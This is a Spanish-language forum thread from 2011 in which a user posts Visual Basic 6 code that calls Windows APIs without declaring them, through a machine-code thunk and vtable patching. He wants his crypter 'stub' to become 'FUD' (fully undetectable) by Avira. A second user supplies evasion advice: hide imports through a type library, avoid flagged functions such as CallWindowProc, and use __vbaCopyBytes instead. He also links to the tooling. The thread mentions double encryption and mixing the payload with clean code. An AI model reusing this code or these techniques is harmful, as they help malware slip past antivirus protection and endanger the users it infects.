Autor
|
Tema: Avira 1 - Yo 0 (Leído 14,352 veces)
|
lucasluks1004
Desconectado
Mensajes: 22
|
Utilizo : Private cCall As New Clas222 Public Function CallAPI(ByVal strLib As String, ByVal strMod As String, ParamArray Params()) As Long Dim Params2() Params2 = Params CallAPI = cCall.Invoke(strLib, strMod, Params2()) End Function
Private Type tAPICall ptsLIB As Long ptsProc As Long lReserved As Long lPointer As Long lpBuffer(3) As Long End Type Private c_lVTE As Long Private c_lOldVTE As Long Private c_bvASM(&HFF) As Byte Private Declare Function DllFunction Lib "MSVBVM60" Alias "DllFunctionCall" (ByRef typeAPI As tAPICall) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long) Public Function zDoNotCall() As Long End Function Public Function Invoke(ByVal sLib As String, ByVal sFunc As String, Params()) As Long Dim lPtr As Long Dim i As Long Dim sData As String Dim sParams As String Dim lMod As Long lMod = GetAPIPtr(sLib, sFunc) If lMod = 0 Then Exit Function For i = UBound(Params) To 0 Step -1 sParams = sParams & "68" & GetLong(CLng(Params(i))) Next lPtr = VarPtr(c_bvASM(0)) lPtr = lPtr + (UBound(Params) + 2) * 5 lPtr = lMod - lPtr - 5 sData = "8B4C240851<PATCH1>E8<PATCH2>5989016631C0C3" sData = Replace(sData, "<PATCH1>", sParams) sData = Replace(sData, "<PATCH2>", GetLong(lPtr)) Call PutThunk(sData) Invoke = PatchCall End Function Private Function GetAPIPtr(ByVal sLib As String, ByVal sProc As String) As Long On Error Resume Next Dim tAPI As tAPICall Dim bvLib() As Byte Dim bvMod() As Byte Call Unicode2ANSI(sLib, bvLib) Call Unicode2ANSI(sProc, bvMod) With tAPI .ptsLIB = VarPtr(bvLib(0)) .ptsProc = VarPtr(bvMod(0)) .lReserved = &H40000 .lPointer = VarPtr(.lpBuffer(0)) End With GetAPIPtr = DllFunction(tAPI) End Function Private Sub Unicode2ANSI(ByVal sUNICODE As String, ByRef bvANSI() As Byte) Dim i As Long ReDim bvANSI(Len(sUNICODE)) For i = 1 To Len(sUNICODE) bvANSI(i - 1) = Asc(Mid$(sUNICODE, i, 1)) Next i End Sub Private Function GetLong(ByVal lData As Long) As String Dim bvTemp(3) As Byte Dim i As Long CopyMemory bvTemp(0), lData, &H4 For i = 0 To 3 GetLong = GetLong & Right("0" & Hex(bvTemp(i)), 2) Next End Function Private Sub PutThunk(ByVal sThunk As String) Dim i As Long For i = 0 To Len(sThunk) - 1 Step 2 c_bvASM((i / (1 + 1))) = CByte("&h" & Mid(sThunk, i + 5 - 4, 1 + 1)) Next i End Sub Private Function PatchCall() As Long CopyMemory c_lVTE, ByVal ObjPtr(Me), &H4 c_lVTE = c_lVTE + &H1C CopyMemory c_lOldVTE, ByVal c_lVTE, &H4 CopyMemory ByVal c_lVTE, VarPtr(c_bvASM(0)), &H4 PatchCall = zDoNotCall CopyMemory ByVal c_lVTE, c_lOldVTE, &H4 End Function
Lo q tmb probe es hacer un TLB para sacar esas apis del codigo pero no lo e logrado
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Utiliza un código más reciente, ese esta quemadisimo
|
|
|
En línea
|
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Utiliza esta pequeña modificación: http://foro.elhacker.net/programacion_visual_basic/asmvb6invoke_llamas_apis_sin_declararlas_kinvokebas-t290072.0.html;msg1489017#msg1489017 Esta mucho menos quemada Si dices que te lo detecta antes de agregar la información debe ser con total seguridad cuestión de las importaciones de VB6... Ves quitando APIs a ver cuales te detecta... o mételas todas en un TLB...
|
|
|
En línea
|
|
|
|
lucasluks1004
Desconectado
Mensajes: 22
|
Sin duda alguna cuando lo tenga fud ,,tu nombre estara entre los mas agradecidos al subirlo al foro,,intente sacar las apis con TLB las cuales solo logre sacar una sola me quedan estas q probe de mil formas y no obtuve buen resultado Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long) Private Declare Function DllFunction Lib "MSVBVM60" Alias "DllFunctionCall" (ByRef typeAPI As tAPICall) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
CopyMemory esta dos veces por q la uso en distintos modulos Edito:carge tu modulo y lo probe funciona excelente pero es mas detectado q el q tenia antes
|
|
« Última modificación: 16 Septiembre 2011, 04:43 am por lucasluks1004 »
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
http://cobein.com/wp/?p=567 Aquí tienes otro método para cargas las APIs dinámicamente y abajo del todo esta el TLB que necesitas Por cierto, no necesitas declarar dos veces RtlMoveMemory() aunque la utilices en distintos módulos... desde el TLB queda como función Public
|
|
|
En línea
|
|
|
|
lucasluks1004
Desconectado
Mensajes: 22
|
Gracias Karcrack realmente viendo los codigos q creas me doy cuenta q me esta ayudando uno de los grandes en este tema en español aunque tmb vi tu nombre en varios foros en ingles ,pero buen el link del TLB esta caido igual el codigo funciona sin el TLB ya q no sustituiste las apis ,,si me puedes pasar el .tlb se agradeceria !
|
|
« Última modificación: 17 Septiembre 2011, 04:46 am por lucasluks1004 »
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
http://www.cobein.com/wp/wp-content/2010/08/Zombie.zip El dominio advancevb se cayó pero sigue estando toda la copia en el de Cobein
|
|
|
En línea
|
|
|
|
lucasluks1004
Desconectado
Mensajes: 22
|
Gracias Karcrack ,estoy rehaciendo todo mi stub y cargando nuevas ideas q tenia desde antes como doble encryptacion , cargar los datos en una nueva sección y mezclar el archivo a encryptar con codigo limpio ,ahora quiero darle una alternativa a Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long) Con un .tlb no se puede cargar no? La otra opcion es reemplzarla lei tu post ( http://foro.elhacker.net/programacion_visual_basic/vb6asm_alternativa_copymemoryrtlmovememorycopybytes-t300862.0.html) pero no me funciona ,o nose bien como llamarlo ,,si me podes dar una mano se agradece,,saludos
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
No te recomiendo esa alternativa, ya que CallWindowProc() esta bastante taggeada. Te recomiendo usar __vbaCopyBytes() con TLB ya que es como si la importase el propio VB6 y no tú.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
AVIRA y troyanos
Análisis y Diseño de Malware
|
duna50
|
3
|
3,278
|
2 Septiembre 2010, 21:43 pm
por bizco
|
|
|
RX Crypter y Avira
Análisis y Diseño de Malware
|
duna50
|
5
|
4,745
|
1 Septiembre 2010, 22:43 pm
por bizco
|
|
|
Avira AntiVir Personal 10.0.0.592: el antivirus gratuito Avira se renueva
Seguridad
|
wolfbcn
|
0
|
3,412
|
4 Noviembre 2010, 15:46 pm
por wolfbcn
|
|
|
avast vs avira??
Seguridad
|
Haker304
|
1
|
4,567
|
21 Junio 2011, 08:49 am
por .:UND3R:.
|
|
|
Avira experimenta en la nube con el nuevo Avira Protection Cloud
Noticias
|
wolfbcn
|
0
|
1,413
|
30 Julio 2012, 21:47 pm
por wolfbcn
|
|